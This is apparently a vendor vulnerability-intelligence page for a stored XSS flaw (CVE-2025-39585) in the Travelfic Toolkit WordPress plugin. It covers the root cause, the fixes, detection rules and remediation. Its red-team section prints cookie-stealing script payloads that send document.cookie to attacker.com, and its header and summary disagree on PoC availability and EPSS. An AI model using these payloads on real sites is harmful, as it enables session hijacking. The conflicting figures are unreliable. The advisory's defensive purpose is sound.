☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themefic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39585

CVE-2025-39585 Cross-Site Scripting in Themefic
📅 PUBLISHED: 2025-04-16 13:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Bangladesh License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39585 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Travelfic Toolkit WordPress plugin, developed by Themefic. This vulnerability affects all versions up to and including 1.2.1. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the WordPress database. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 6.5 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack vector is network-based, requires low complexity, low privileges, and user interaction (the victim must view the page). The scope is changed, meaning the impact extends beyond the vulnerable component.

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the Travelfic Toolkit plugin. No public exploit code or proof-of-concept (PoC) is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. However, the lack of a patch from the vendor makes this a significant risk for affected sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Travelfic Toolkit plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin via the WordPress admin dashboard or manually uploaded the plugin files are affected. There is no known compromise of the plugin’s distribution channel, but the absence of a patch means that all installations remain vulnerable until the vendor releases an update.

CVSS Breakdown & Threat Level

  • CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): Required (R) – The victim must visit the page containing the malicious payload.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component (e.g., the browser of the victim).
  • Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement).
  • Availability (A): Low (L) – Limited impact on availability (e.g., redirects or pop-ups).

Threat Level: Medium. The requirement for low privileges and user interaction reduces the immediate risk, but the lack of a patch and the potential for stored XSS to affect multiple users (including administrators) elevates the threat. An attacker could use this to escalate privileges or compromise the entire site.

Deep Dive & Mechanics

The vulnerability resides in the Travelfic Toolkit plugin, which provides travel-related functionality (e.g., booking forms, itineraries) for WordPress sites. The plugin fails to properly sanitize or escape user input before storing it in the WordPress database and later rendering it on a page.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) to user-supplied data. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

  1. An attacker with contributor-level access (or higher) logs into the WordPress admin panel.
  2. The attacker navigates to a vulnerable input field (e.g., a custom meta box, shortcode attribute, or form field) provided by the Travelfic Toolkit.
  3. The attacker injects a malicious payload, such as:
    <script>alert('XSS')</script>
    
    or a more sophisticated payload to steal cookies:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. The payload is stored in the WordPress database (e.g., in wp_postmeta or wp_options).
  5. When an administrator or other user views the page that renders this data, the script executes in their browser.
  6. The attacker can then hijack sessions, perform actions on behalf of the victim, or deface the site.

Why Stored XSS is Dangerous: Unlike reflected XSS, stored XSS does not require the attacker to trick the victim into clicking a malicious link. The payload persists and can affect every user who visits the compromised page, including site administrators.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common WordPress XSS fixes.

Vulnerable Code (Example from Travelfic Toolkit <= 1.2.1):

<?php
// In a template or shortcode handler
echo $user_input; // Direct output without escaping
?>

Patched Code (Expected fix):

<?php
// Properly escape output
echo esc_html( $user_input ); // For plain text
// OR
echo wp_kses_post( $user_input ); // For allowed HTML
?>

The patched version would use WordPress’s escaping functions to neutralize any HTML or JavaScript before rendering. The vendor should also apply input validation and output encoding consistently across all user-facing fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Travelfic Toolkit <= 1.2.1 installed and activated.
  • An attacker account with contributor-level privileges or higher.

Step-by-Step Exploitation:

  1. Identify Vulnerable Input: Look for fields in the Travelfic Toolkit that accept user input and are later displayed on the frontend. Common candidates include custom meta boxes for itineraries, booking forms, or shortcode attributes.

  2. Craft Payload: Use a simple JavaScript payload to test for XSS:

    <script>alert('XSS')</script>
    
  3. Inject Payload: Log in as a contributor, navigate to the vulnerable input field (e.g., via the post editor), and paste the payload.

  4. Trigger Execution: Visit the page where the payload is rendered. If the alert box appears, the vulnerability is confirmed.

  5. Escalate Attack: Use a more advanced payload to steal cookies:

    <script>
    var img = new Image();
    img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;
    </script>
    

Note: No public exploit code is available. The above is a generic approach for Stored XSS in WordPress plugins.

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor WordPress Logs: Check for unusual post content containing <script> tags or event handlers (e.g., onload, onerror).
  2. Review User Activity: Look for posts or pages created by low-privilege users that contain suspicious HTML.
  3. Use Web Application Firewall (WAF): Deploy rules to block common XSS patterns (e.g., <script>, javascript:).

Response:

  1. Isolate Affected Content: Remove or sanitize any posts/pages containing malicious scripts.
  2. Reset User Sessions: Force all users to re-authenticate to invalidate stolen session cookies.
  3. Apply Temporary Fix: If patching is not possible, disable the Travelfic Toolkit plugin or use a security plugin to block XSS payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal.php).
    • Unusual Referer headers or Cookie data in outbound requests.
  • Host IOCs:

    • Presence of <script> tags in WordPress database tables (wp_posts, wp_postmeta, wp_options).
    • Unexpected JavaScript code in plugin template files or shortcode outputs.
  • File IOCs:

    • Modified plugin files (e.g., travelfic-toolkit.php) containing obfuscated JavaScript.
  • Log IOCs:

    • WordPress debug logs showing PHP warnings about unescaped output.
    • Web server access logs with requests to pages containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_39585_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Travelfic Toolkit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39585"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $plugin = "travelfic-toolkit" ascii wide nocase
    condition:
        $plugin and any of ($xss*)
}

Sigma Rule

title: Stored XSS in Travelfic Toolkit Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in WordPress posts/pages
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-39585
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (e.g., embedded videos)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39585 Stored XSS Payload in WordPress"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: If the Travelfic Toolkit is not critical, deactivate and delete it until a patch is released.
  2. Apply Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing <script> tags in POST data.
  3. Restrict User Roles: Limit contributor-level access to trusted users only.

Long-Term Fix:

  • Vendor Patch: Await an official update from Themefic that properly escapes user input. Monitor the WordPress plugin repository for version 1.2.2 or higher.
  • Code Audit: If you have access to the plugin source code, manually add escaping functions (e.g., esc_html(), wp_kses_post()) to all output points.

Workaround:

  • Use a security plugin like Wordfence or Sucuri to add an additional layer of XSS protection.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Travelfic Toolkit"
http.html:"travelfic-toolkit"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39585/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.